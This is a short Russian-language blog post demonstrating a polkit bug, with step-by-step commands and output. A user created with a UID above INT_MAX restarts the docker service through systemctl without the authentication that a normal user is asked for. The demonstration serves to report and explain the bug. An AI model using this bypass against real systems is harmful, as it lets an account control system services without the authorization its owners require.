Linux: “unprivileged users with UID > INT_MAX can successfully execute any systemctl command”

By | 12/06/2018
 

Интересная бага сегодня была опубликована в Twitter и Github.

Кратко – если у пользователя UID больше, чем INT_MAX в системе – он может выполнять любые операции systemctl.

Справдливости ради – это бага не у systemd, а у polkit.

Проверям значение INT_MAX:

cat /usr/include/limits.h | grep INT_MAX
define INT_MIN       (-INT_MAX - 1)
define INT_MAX       2147483647
define UINT_MAX      4294967295U

Добавлям пользователя с +1 к 2147483647:

sudo useradd --uid 2147483648 test

Проверяем:

id test
uid=2147483648(test) gid=1001(test) groups=1001(test)

Находим что-нибудь для ребута:

14:08:36 [setevoy@setevoy-arch-work ~] $ systemctl list-unit-files | grep enabled
autovt@.service                                                  enabled
docker.service                                                   enabled
getty@.service                                                   enabled
netctl@setevoy\x2dgen\x2d5.service                               enabled
sshd.service                                                     enabled
systemd-fsck-root.service                                        enabled-runtime
systemd-timesyncd.service                                        enabled
remote-fs.target                                                 enabled

Пробуем под нормальным пользователем:

14:08:47 [setevoy@setevoy-arch-work ~] $ systemctl restart docker
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====
Authentication is required to restart 'docker.service'.
Authenticating as: setevoy
Password:
==== AUTHENTICATION COMPLETE ====

ОК – авторизацию запрашивает.

Переключаемся под созданного пользователя:

su -l test
su: warning: cannot change directory to /home/test: No such file or directory
[test@setevoy-arch-work ~]$

Запускаем рестарт докера:

[test@setevoy-arch-work ~]$ systemctl restart docker
(pkttyagent:3853): GLib-GObject-WARNING **: 14:08:17.570: value "-2147483648" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)

Проверяем логи:

journalctl -f -u docker
...
Dec 06 14:11:09 setevoy-arch-work systemd[1]: Stopped Docker Application Container Engine.
Dec 06 14:11:09 setevoy-arch-work systemd[1]: Starting Docker Application Container Engine...
...

Работает.